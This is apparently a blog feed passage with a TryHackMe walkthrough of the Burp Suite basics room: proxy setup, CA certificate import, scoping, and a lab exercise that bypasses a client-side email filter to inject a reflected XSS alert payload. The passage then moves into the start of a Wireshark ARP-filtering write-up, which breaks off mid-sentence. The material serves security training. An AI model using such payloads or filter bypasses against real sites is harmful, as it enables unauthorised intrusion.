            <content:encoded><![CDATA[<p>A walkthrough and write up on the TryHackMe Burp Suite: The Basics room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*0xUo7_LpXBXFdAc5J3UAnA.png" /><figcaption>Hero image of the tool Burp Suite</figcaption></figure><p>This is a writeup and first-time walkthrough of the <a href="https://tryhackme.com/room/burpsuitebasics">Burp Suite: The Basics room</a> on the TryHackMe Cybersecurity training platform. The Attack box virtual machine was used to walk through the room task questions.</p><p>The room groups and splits tasks into several sections:</p><ul><li>Introduction : Task 1</li><li>Getting Started: Tasks 2–7</li><li>Proxy: Tasks 8–13</li><li>Practical : Task 14</li><li>Conclusion: Task 15</li></ul><p>The first few tasks give details on what Burp Suite is and what it is used for</p><p>The tasks 1–6 require reading through each of the room tasks thoroughly to answer the following questions. As always, I recommend reading through, taking notes on the topics and concepts related to Burp Suite.</p><h3>Task 1 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0UR1K8xjmQ7uAUzl181stQ.png" /><figcaption>Screenshot of where to start the Bastion Hosting machine for this room</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KK2rcmvLW9uWImAbzNldgQ.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 2 Questions</h3><p>Which edition of Burp Suite will we be using in this module?</p><blockquote>Burp Suite Community</blockquote><p>Which edition of Burp Suite runs on a server and provides constant scanning for target web apps?</p><blockquote>Burp Suite Enterprise</blockquote><p>Burp Suite is frequently used when attacking web applications and ______ applications.</p><blockquote>Mobile</blockquote><h3>Task 3 Questions</h3><p>Which Burp Suite feature allows us to intercept requests between ourselves and the target?</p><blockquote>Proxy</blockquote><p>Which Burp tool would we use if we wanted to bruteforce a login form?</p><blockquote>Intruder</blockquote><h3>Task 4 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*i-ZQsnhmIf1oM4LSZvHElQ.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 5 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*ITc5i52jx3qe-NHyPCClwQ.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 6 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tEZ17rOmiY5KUZqls04KcA.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 7</h3><p><strong>Notes</strong></p><p>To switch Burp Suite to dark mode, I went into the settings tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vj7Mct-JcZRLSWna2lFv8w.png" /><figcaption>How to get to settings on the main dashboard</figcaption></figure><p>Then under either the User or All tabs, I selected the User Interface dropdown option and went to Display sub-tab and under the Appearance menu, I selected the Dark radio button option.</p><p>After reading each of the possible options under the Project settings. I was able to figure out the answer to the second question.</p><p>One important note was I having an issue initially with finding the user options and project options when I was using a more recently updated version of Burp Suite. I found that the individual tabs for User options and Project options were all moved into a single Settings tab in a more recent of version of the Burp Suite greater version than v2022.9.5, which is what the TryHackMe attackbox VM uses at the time of this walkthrough.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfkx3ssrBARbeLu4zSh0eg.png" /><figcaption>Screenshot of the Burp Suite tabs showing User options and Project options individually.</figcaption></figure><h3>Task 7 Questions</h3><p>Change the Burp Suite theme to dark mode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dWXr1pcmAhTDDhc6we-pww.png" /><figcaption>Screenshot of how to get to the display options in Burp Suite</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*DqE7pI6LAXzK2KS3iyy0tg.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><p>In which <em>Project options</em> sub-tab can you find reference to a “Cookie jar”?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WD3akNaIcDO2aVtr4MvDrg.png" /><figcaption>Screenshot of how to navigate the Sessions sub-tab in Burp Suite</figcaption></figure><p>In which <em>User options</em> sub-tab can you change the Burp Suite update behaviour?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovCGQPVtoWJEj5vUz2z9Mg.png" /><figcaption>Screenshot of how to navigate to updates in Burp Suite</figcaption></figure><p>What is the name of the section within the <em>User options</em> “Misc” sub-tab which allows you to change the Burp Suite keybindings?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xqvsjp4XN0HurjTaWBcoWQ.png" /><figcaption>Screenshot of how to navigate to hotkeys in Burp Suite</figcaption></figure><p>If we have uploaded Client-Side TLS certificates in the <em>User options</em> tab, can we override these on a per-project basis (Aye/Nay)?</p><blockquote>Aye</blockquote><p>There is a note that the Client TLS Certificates can be overridden for individual projects within the project options tab.</p><p>There are many more configuration options available. Take the time to read through them.</p><p>In the next section, we will cover the Burp Proxy — a much more hands-on aspect of the room.</p><blockquote>no answer needed, just need to click the completed button to move on.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HX6_VGVBXBGgDhxYrAaacA.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 8: Introduction to Burp Proxy</h3><p><strong>Notes</strong></p><p>For this task, the following info is covered: the configuration options of the <a href="https://portswigger.net/burp/documentation/desktop/tools/proxy">Burp Proxy</a> tool and how the proxy will capture a request and give options on if we want to forward (send the caught request to the target in Burp Proxy) or drop (ignore the inbound captured request) the request if any editing changes are made on the intercepted request.</p><p>To figure out the default hotkey for forwarding a request with the proxy, I did a search engine search for the how to do this and found within the <a href="https://portswigger.net/burp/documentation/desktop/tools/proxy/intercept-messages">portswigger documentation</a> on Proxy Intercept for the Burp Proxy tool to get my answer.</p><h3>Task 8 Questions</h3><p>Which button would we choose to send an intercepted request to the target in Burp Proxy?</p><blockquote>Forward</blockquote><p><strong>[Research] </strong>What is the default keybind for this?</p><blockquote>Ctrl+F</blockquote><p><strong><em>Note: </em></strong><em>Assume you are using Windows or Linux (i.e. swap Cmd for Ctrl).</em></p><h3>Task 9</h3><p><strong>Notes</strong></p><p>For this next task, I learned about two ways we can proxy our web traffic using Burp Suite</p><ol><li>Using the embedded browser option (I unintentionally experimented with the easy option of doing this from task 8 on my AttackBox VM, not the smart way as I would learn when I went through the information in task 11)</li><li>Configure our local operating system web browser to proxy our traffic through Burp which will be the focus of this task.</li></ol><p>I proceeded with the second way of setting up my proxy connection using the <a href="https://getfoxyproxy.org/">FoxyProxy</a> browser extension for Firefox on the TryHackMe AttackBox VM.</p><p>For configuring our web browser to redirect traffic on it to our proxy, I first launched the Burp Proxy application on my VM to ensure the proxy service is reachable. In my case, my Burp Suite Event log shows the IP Address and port of my service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*PkGiCicMquD8WI0zDDhZ7A.png" /><figcaption>Screenshot of my proxy service being started at 127.0.0.1:8080</figcaption></figure><p>Next, I opened the Firefox browser and looked for a button at the top right-hand corner of my browser window,</p><p>I found an existing proxy profile already on my VM and clicked on the options button to check what the existing proxy in FoxyProxy tool is configured to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*1rSV-7p1uYmdDkmgnkbkjw.png" /><figcaption>Screenshot of how to get to FoxyProxy’s options</figcaption></figure><p>I clicked with the following options clicked on the edit button or add button icon if we don’t have a proxy connection profile listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*QSmGZ2Al6ZVxzGx3rrbQUA.png" /><figcaption>How to edit and add a proxy connection profile in FoxyProxy</figcaption></figure><p>I made sure the following settings were set up pointed at the proxy IP and the port of my proxy service (in this case is the default value of 127.0.0.1:8080)</p><ul><li>Title: can be whatever we want it to be, e.g. Burp</li><li>IP Address: 127.0.0.1</li><li>Port: 8080</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*57jNH32ub1slpqogsGPASw.png" /><figcaption>Screenshot of the Edit proxy menu</figcaption></figure><p>Next, I selected the proxy titled Burp and the green check mark appeared next to the name of the proxy connection and as well as the name of the proxy appeared over the extension icon as seen below to indicate we a have a proxy running,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*JWjbIQ1_5luJFncESZF_cg.png" /><figcaption>Screenshot of the browser extension when the Burp Suite proxy configuration is enabled</figcaption></figure><p>I switched back to my open instance of Burp Suite and navigated to <strong>Proxy &gt; Intercept </strong>sub tab screen to make sure the message interception is on before testing the proxy for catching requests. This is done by clicking the button starting with Intercept and followed by “is off” or “is on” depending on if intercept is turned off or on as per the screenshot below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*bwvz5j6TXgYC5R_J7ajHcg.png" /><figcaption>Screenshot of the Intercept sub-tab of the Intercept main tab in Burp Suite</figcaption></figure><p>Once intercept is turned on, I attempted to access the homepage of the machine we which in my case was <a href="http://10.10.54.47/">http://10.10.54.47/</a>. A mistake I made was forgetting to click the start machine button from Task 1 while solving the tasks; but I was able to go back and redo the tasks again when I realized this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UI9DuyIvvpoNRHyxnYqtZw.png" /><figcaption>Screenshot of the interactable machine for this room</figcaption></figure><p>I found Firefox still loading while the proxy is working and my intercept screen on Burp Suite is now populated with the headers corresponding to my GET HTTP request to access the address of <a href="http://10.10.54.47/">http://10.10.54.47/</a>. This shows that our request has been intercepted by the tool and we can choose to forward or drop the request as seen in the below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpJSm93pkxMci-5Jt6cSjg.png" /><figcaption>Screenshot of being able to intercept Bastion Hosting</figcaption></figure><p>Furthermore, I was looking into how to intercept and modify the response of a request. This took me a while to figure out what this option was and did some research. I uncovered the answer and steps in this <a href="https://www.matthewsetter.com/introduction-to-burp-suite/">link</a> and found that I could either right click on the body of the request or click the actions button; then to hover over <em>Do intercept </em>and to click <em>Response to this request. </em>I was able to modify the body of response to whatever I liked and forward the request and send it back to the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9B9Spzk0Zs7UnCkmiDeIFQ.png" /><figcaption>Screenshot of how to intercept and modify the response of a request</figcaption></figure><h3>Task 9 Questions</h3><p>Read through the options in the right-click menu.</p><p>There is one particularly useful option that allows you to intercept and modify the <em>response</em> to your request.</p><p>What is this option?</p><p><strong><em>Note:</em></strong><em> The option is in a dropdown sub-menu.</em></p><blockquote>Response to this request</blockquote><p><strong>[Bonus Question — Optional]</strong> Try installing FoxyProxy standard and have a look at the pattern matching features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*3IL1bYB19MpZfReqzlyvsg.png" /><figcaption>Screenshot of the possible pattern matching options for FoxyProxy Standard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*2LubJt5nXiyn_0j-OJYC-w.png" /><figcaption>Pattern Tester for FoxyProxy Standard Edition</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*xAyLs_g8O8o9T7396kj24Q.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 10: Proxying HTTPS</h3><p><strong>Notes</strong></p><p>I proceeded to follow along with the lab and learn how CAs work in the AttackBox VM, I found that there is a CA certificate already assigned to the PortSwigger company called PortSwigger CA. I proceeded to delete or distrust the certificate for the sake of recreating the issue of the missing CA certificate and following along with this lab by trying to access a example HTTPS URL address and adding the cert again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i8cSsKcGjQTVyEOrf_n-bQ.png" /><figcaption>Screenshot of the Certificate Manager in Firefox</figcaption></figure><p>I attempted go to the <a href="https://google.com/">https://google.com</a> on Firefox with intercepting HTTPS request to access the website with the Burp proxy enabled and got the following a error telling us that the software Burp Proxy isn’t authorized to secure the incoming HTTPS request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_a5pcu8DxjFNtss-lfJ0IA.png" /><figcaption>Screenshot of error page returned if we don&#39;t have PortSwigger as a trusted certificate Authority</figcaption></figure><p>I went to <a href="http://burp/cert">http://burp/cert</a> which downloaded a file called cacert.der as shown in the screenshot below. I saved it to my root folder so it can be added to the existing certificates</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUD0OZvl5Iuv-h8kzh7hnw.png" /><figcaption>Screenshot of downloading the CA certificate for Burp Suite</figcaption></figure><p>I went into the settings options of the Firefox Browser by clicking on the hamburger button (button icon that is three straight lines) and clicked on Settings. Once in the settings menu, I used the search bar to find where the options related to certificates and clicked on the <strong>View Certificates </strong>option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2q63ATeq8icuAFsbmoLDNA.png" /><figcaption>Screenshot of how to view certificates in Firefox</figcaption></figure><p>When we click View Certificates we see all the trusted CA certificates on our browser. I clicked on the <strong>Import </strong>button as screenshotted below to add the cacert.der file that was downloaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*256g3vKvyvetHY3HcvvOeA.png" /><figcaption>Screenshot of how to import and add a Certificate of Authority</figcaption></figure><p>I navigated to where the file was downloaded and checkmarked the <em>Trust this CA to identify websites</em> option and clicked the <strong>OK </strong>button to confirm that we trust this new Certificate Authority.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfJqc1Jh_pSprRPHzCA-fg.png" /><figcaption>Screenshot of toggling option to trust this CA to identify websites</figcaption></figure><p>After we clicked OK, I attempted to try to intercept the HTTPS request with Burp proxy to access the TLS enabled google.com and I was now able to access google.com without any error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02UPGKjMeaunjvoVmpHEvg.png" /><figcaption>Screenshot showing a TLS enabled site able to be accessed.</figcaption></figure><h3>Task 10 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*hqK0uxiAbEV0sVxf2tpOSA.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 11 : The Burp Suite Browser</h3><p><strong>Notes</strong></p><p>When trying to open the browser on Burp Suite on my TryHackMe AttackBox Virtual Machine, I was getting this error message as expected below trying to open the pre-configured browser, This is because of the current configuration options on our Burp Suite causing an error to be thrown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0ONRzH-ViaVKs3EU" /><figcaption>Error returned when trying to open the browser as the root user on Linux</figcaption></figure><p>You will need to navigate through Project options tab → the Misc sub-tab</p><p>I looked for the Burp’s Project options tab under the Misc sub tab and checked the checkbox designated <em>Allow Burp’s browser to run without a sandbox. </em>This allowed me to open the browser and test the proxy by sending requests to access sites on the Burp Suite tool preconfigured Chromium browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRbmg5iKAcUFUmSGNEAouw.png" /><figcaption>Screenshot of how to enable the Burp Browser to run without a sandbox</figcaption></figure><p>I went back to the Proxy main tab under the Intercept option and tried to open the browser through the click <strong>Open Browser</strong> button and a Chromium browser opened up.</p><p>I then entered my Linux VM’s IP address in the search bar <a href="http://10.10.54.47/">http://10.10.54.47/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTGCam2kBT1GvqIEjuVZhw.png" /><figcaption>Screenshot of the Burp Suite Chromium browser</figcaption></figure><p>Once I hit enter on the search tab to retrieve the request. I was able to intercept the request on my Burp Suite in my screenshot of my Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nhOfxOKvGLI5XZ5QcSIrzw.png" /><figcaption>Screenshot of Burp Proxy intercepting from the Chromium browser</figcaption></figure><h3>Task 11 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*hwtOKrulLZGduKDWJWTmNw.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h4><strong>Task 11 Takeaways</strong></h4><p>The smart way of being able to run the Burp Suite is to create a new user and run Burp Suite under a low privilege account than root on a specific machine.</p><p>The easy option was to change a configuration as the root as explained in my above notes. The error with trying to open the Burp Suite browser on Linux as the root user is expected. I also learned the reason for why the <em>Allow Burp’s browser to run without a sandbox </em>is unchecked by default is for security reasons. A scenario is if we get compromised using the browser, then an attacker will have access to our entire machine. This is important to consider if we are running a installation of Burp Suite on our local or personal computers.</p><h3>Task 12 : Scoping and Targeting</h3><p><strong>Notes</strong></p><p>We set a scope for a Burp Suite project to be able to define and narrow down what gets proxied and logged by the tool. This can be the web application(s) we want to test. I will detail how to add the Bastion Hosting IP address (http://10.10.54.47/) to our scope and change the proxy settings to only intercept traffic to in-scope targets.</p><p>I began to go to the Target tab and navigated to the Scope sub tab to add my machine’s IP address to specify what to target. I got a window prompt message from Burp Suite asking if we wanted to stop logging anything which isn&#39;t in the scope. I choose Yes in this case to disable logging for out of scope traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qxsdkBspcWK-7z2Zu5izvA.png" /><figcaption>Screenshot of setting the target scope to the IP address of Bastion Hosting</figcaption></figure><p>I found that the proxy will still be intercepting everything (e.g. get request to access google.com on my browser) and would need to turn this off. I proceeded to go into the Proxy Options sub-tab and check in “And URL Is in target scope” form the Intercept Client Requests section,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3QhHLc6IdQGqQ7xQPDmzUg.png" /><figcaption>Screenshot of setting rules for the Intercept Client requests</figcaption></figure><p>Once I enabled that option, I attempted to go to google.com to test no requests are intercepted from it and as expected, requests were not being captured or logged by Burp Suite.</p><p>I proceeded to test accessing the HTTP of the Bastion hosting IP address and was able to capture just that request and log it as well. The difference from when no scope was set was staggering as the number of times our web browser requests decreased and limited itself to what we set rather than having no scope and sending all incoming and outbound traffic to the Burp Proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*59oUAErngLAzvYuLN9BgAg.png" /><figcaption>Screenshot of testing the interception of the Bastion Hosting IP Address</figcaption></figure><h3>Task 12 Questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*AOAYZJR7UzX6FyUi9glDCA.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><h3>Task 13</h3><p><strong>Notes</strong></p><p>I started my review of the website by taking a look and visit all the available links and pages for <a href="http://10.10.54.47/">http://10.10.54.47/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*moDVYEgtYqo3f6D0uQ-ZfA.png" /><figcaption>Screenshot of the tabs in the navbar of Bastion Hosting</figcaption></figure><p>I also noticed that the <strong>Submit Support Ticket</strong> and <strong>Contact </strong>pages allowed a user to submit their personal information contact emails and phone numbers and a message as well. What struck me as odd and concerning was that these page endpoints were on a HTTP page instead of the more secure HTTPS, meaning there was no guarantee that connection and information being sent over is secure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWSgWH9s9ED_Yw_E5nG9vA.png" /><figcaption>Screenshot of the Submit Support Ticket page</figcaption></figure><p>When I intercepted the request for accessing the /ticket/ endpoint, I noticed a weird request also getting intercepted that was a GET method and had a path of /5yjR2GLcoGoij2ZK, which struck me as very unusual endpoint and something to investigate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9nUQbWVY_DAi7i2cb08HA.png" /><figcaption>Screenshot of a suspicious endpoint being returned in a web request being intercepted</figcaption></figure><p>On my browser, I took the endpoint and added it to the end of the IP address and was able to get the flag text message to answer the 1st following question on this task. I also looked within the Target tab and checked the Site map sub tab for this suspicious request being intercepted and I was also find the THM same flag I got returned to me in the response from the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oli2dWI5x2O1bivV1QGhAQ.png" /><figcaption>Screenshot of accessing the suspicious endpoint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ie3DTThEOjW2UXsr8d_R2w.png" /><figcaption>Screenshot of the THM flag being found in the Burp Suite Target Site Map</figcaption></figure><p>To find the typical severity of a Vulnerable JavaScript Dependency issue, I clicked the globe icon in the Issue definitions sub tab of the Target main tab to view a web page list of the list of issues for easy searching and used Ctrl+F to text search the issue and was able to easily find the severity of the issue and answer the question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRL03i6pMQFZGeDVKTSrAg.png" /><figcaption>Screenshot of website version of the Burp Suite issue definitions list</figcaption></figure><h3>Task 13 Questions</h3><p>Take a look around the site on http://10.10.54.47/ -- we will be using this a lot throughout the module. Visit every page linked to from the homepage, then check your sitemap -- one endpoint should stand out as being very unusual!</p><p>Visit this in your browser (or use the “Response” section of the site map entry for that endpoint)</p><p>What is the flag you receive?</p><blockquote>censored in screenshots above</blockquote><p>Look through the Issue Definitions list.</p><p>What is the typical severity of a Vulnerable JavaScript dependency?</p><blockquote>Low</blockquote><h3>Task 14: Practical — Example Attack</h3><p>This next task takes a look at a real world example of how we test user input as part of a real-world web app pentest. The focus of this task will be to test for Cross-Site Scripting or XSS (sending client side code such as JavaScript in a way that it executes) and the type of XSS will be referred to as Reflected which means it only affects the person making the web request.</p><p>I observed that there is a client-side filter in place of the “Contact Email” field that prevented me from adding any special non-alphanumeric characters that are not allowed in email addresses that can be found in script code. I will attempt to bypass the client-side filter with Burp Proxy.</p><p>After making sure my Burp Proxy is active and the intercept option is on, I proceeded to enter some legitimate input data such as “pentester@example.thm” for the email and “Enjoy the payload” for the query text field. Next we submit the form, the request show be intercepted by the proxy.</p><p>Once the request is grabbed by the proxy we can now change the email to be a client-side script such as the one below,</p><pre>&lt;script&gt;alert(&quot;Succ3ssful XSS&quot;)&lt;/script&gt;</pre><p>after I pasted the payload, I selected it and used Ctrl + U to URL encode it before sending. after making sure the value in email is properly encoded, I then clicked the forward button on the Intercept page of Burp Proxy to send the modified request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ItzAixkQgqs1yZqZcLhseQ.png" /><figcaption>Screenshot of the intercepted web request modified with our JavaScript payload</figcaption></figure><p>Afterwards, we should get an alert box from the site that tells us the XSS attack was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALkFW63C_1LjIEA9Gn6iSg.png" /><figcaption>Screenshot of the web browser returning an alert box with our script payload as the email address</figcaption></figure><h3>Task 14 Questions</h3><blockquote>There are no answers needed to submit, it involved going through and initiating the steps for an example XSS attack and we just need click the buttons to confirm we did each step</blockquote><h3>Task 15 Room Conclusion</h3><p>Task 15 is just a overview and conclusion of what the room covers and no answers are needed to be submitted and just need to click the button to complete the task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*8Fv77wgxczyslE2Ao03_6w.png" /><figcaption>Screenshot of question not needing an answer to complete</figcaption></figure><p>That wraps it up for this writeup using Burp Suite and the basics around using the Burp Proxy as well. My previous experience as a full stack web developer helped me with understanding how web apps work, what the HTTP methods were, and what a endpoints is used for. I learned how useful Burp Suite can be in web app and mobile pen testing.</p><p>If anyone has any feedback on how to improve or anything let me know.</p><p>All the best and keep on learning,</p><p>— Chris Fouad</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cbef178f0b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Wireshark 101 Write-up]]></title>
            <link>https://medium.com/@cyberjab/tryhackme-wireshark-101-write-up-cfb21c37a465?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfb21c37a465</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Tue, 21 Mar 2023 17:56:01 GMT</pubDate>
            <atom:updated>2023-03-24T12:39:10.808Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTvC6lp55TTNhI7NGoAY8A.png" /><figcaption>Hero image with the iconic Wireshark logo and shark mascot</figcaption></figure><p>In this write-up, I show the steps I took to complete the hands-on tasks for the Wireshark 101 room created by Cryillic on the <a href="https://tryhackme.com/path/outline/blueteam">TryHackMe</a> platform.</p><blockquote>One thing to note is that the <a href="https://tryhackme.com/room/wireshark">Wireshark 101 Room</a> requires a subscription to view.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOBKBtONn7VXmmuRhdRw4w.png" /><figcaption>Outline of the Cyber Defense path for Wireshark 101</figcaption></figure><p>I will be using the in-browser virtual machine (VM) attack box provided on TryHackMe to step through the challenges.</p><h3>Tasks 1–6, 9, and 13</h3><p>Tasks 1–6 all give in-depth information on how the tool works, what Wireshark is, how to install it on your computer, how to collect or filter packet capture data, and how to distinguish the several types of protocol traffic on the Wireshark tool. Task 9 talks about the behavior and structure of TCP packets and task 13 gives an overview and real-world application of threat intelligence (form of defensive cybersecurity) using Wireshark to analyze how an exploit was carried out by looking at a PCAP file of an Active Directory Exploit called Zerologon or <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1472">CVE-2020–1472</a>.</p><p>I recommend reading these tasks at your own pace and taking notes on your note-taking app or note taking system of your choice to get a deeper understanding to review the related concepts and topics if needed.</p><p>In these sections you just need to read the content within each task and click the completed button in the questions section when ready to proceed to the next task.</p><h3>Task 7 : ARP Traffic</h3><p>For this task, I proceeded to load and open the task7.pcap file with the Wireshark tool to begin my analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*lnX-H53TPAB29gA8POvwVA.png" /><figcaption>Example screenshot of where to find the lab packet capture files on THM VM</figcaption></figure><p>For the 1st question, I used the following protocol display filter syntax to help with finding ARP network traffic,</p><blockquote>tcp.port eq &lt;Port #&gt; or &lt;Protocol Name&gt;</blockquote><p>I entered 3389 for the port number of ARP, and ARP for the protocol name to filter and show only ARP traffic within this packet capture.</p><blockquote>tcp.port eq 3389 or ARP</blockquote><p>When the above display filter is applied, I can see just ARP packets within our PCAP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*VrGnUL_iJZUkKnV8_WQ4dQ.png" /><figcaption>Display filter results for ARP traffic and port number 3389</figcaption></figure><p>To answer the 2nd question, I did some external research within the <a href="https://www.wireshark.org/docs/dfref/f/frame.html">Wireshark documentation</a> and learned that I can use <em>frame.number</em> to narrow down PCAP results to find a specific packet using just a display filter command below to search for packet number 19. I looked at the <strong>Sender MAC Address field </strong>under the ARP protocol section of the packet to get the answer for the task question, which in our case and in hexadecimal format, is 80:fb:06:f0:45:d7</p><blockquote>frame.number eq &lt;packet_number_of_choice&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*ZrUrPZVuF-ubV6Jx61mhpw.png" /><figcaption>Packet filter results for frame number 19</figcaption></figure><p>To figure out which ARP protocol packets are reply packets and how show them in a display filter syntax on the data stream screen, I needed to look at the opcode within the ARP protocol layer, I referred to the <a href="https://www.wireshark.org/docs/dfref/#section_a">Wireshark display filter reference</a> for the ARP protocol to figure out the exact display filter syntax of the opcode field.</p><blockquote>arp.opcode == &lt;op_code_number&gt;</blockquote><p>I applied the knowledge that an opcode for response/reply messages is 2; I was able to apply the following display filter and figure out the packet numbers of the ARP reply packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*bpD7MIM4lZls-QyLBoDEPg.png" /><figcaption>Display filter results for arp.opcode equal to 2</figcaption></figure><p>The next question is asking what the IP address of the MAC Address, 80:fb:06:f0:45:d7? It was a question that stumped me initially and took some digging to figure out.</p><p>I did additional research to get a better understanding of how to figure out this question and not guess. I looked for a distinction of the two types of ARP packets and in the explanation of the ARP reply packets in the lab room overview for clues. The ARP reply packets overview within the ARP task states that ARP packet will contain both the sender’s MAC Address and IP Address.</p><p>In the ARP request packets (having an opcode of 1), I realized that the Sender MAC Address was sending a broadcast message based that the finding that the Target MAC Address fields are 00:00:00:00:00:00 in each of the ARP request packets filtered packets. I found many different Sender and Target IP addresses when searching by the ARP request packets opcodes and sender MAC Address display filter as written below.</p><blockquote>arp.src.hw_mac == 80:fb:06:f0:45:d7 and arp.opcode eq 1</blockquote><p>I proceeded to look at the ARP reply packets (arp.opcode eq 2) and found that both the Sender’s MAC Address and Sender’s IP Address were unchanged, I used this knowledge to figure out the sender’s IP Address. I used a display filter command combination that filtered by the sender’s own MAC address and the ARP opcode. I also found in the info column of the response ARP reply packet also lists additional information about the ARP packet content and appeared to be stating which Sender’s IP address is associated to the sender’s MAC Address.</p><blockquote>arp.src.hw_mac == 80:fb:06:f0:45:d7 and arp.opcode eq 2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*yjrY34YfS1Tn5GaGnopk6w.png" /><figcaption>Screenshot of ARP reply packets for MAC Address 80:fb:06:f0:45:d7</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*5ajv5te54yFRKMfOKTEnBw.png" /><figcaption>Screenshot of Info column for ARP Traffic with opcode 2 for ARP Reply packets</figcaption></figure><h3><strong>Task 7 questions</strong></h3><p>What is the Opcode for Packet 6?</p><blockquote>request (1)</blockquote><p>What is the source MAC Address of Packet 19?</p><blockquote>80:fb:06:f0:45:d7</blockquote><p>What 4 packets are Reply packets?</p><blockquote>76,400,459,520</blockquote><p>What IP Address is at 80:fb:06:f0:45:d7?</p><blockquote>10.251.23.1</blockquote><h3>Task 8 : ICMP Traffic</h3><p>I opened the task8.pcapng file on my in-browser VM with 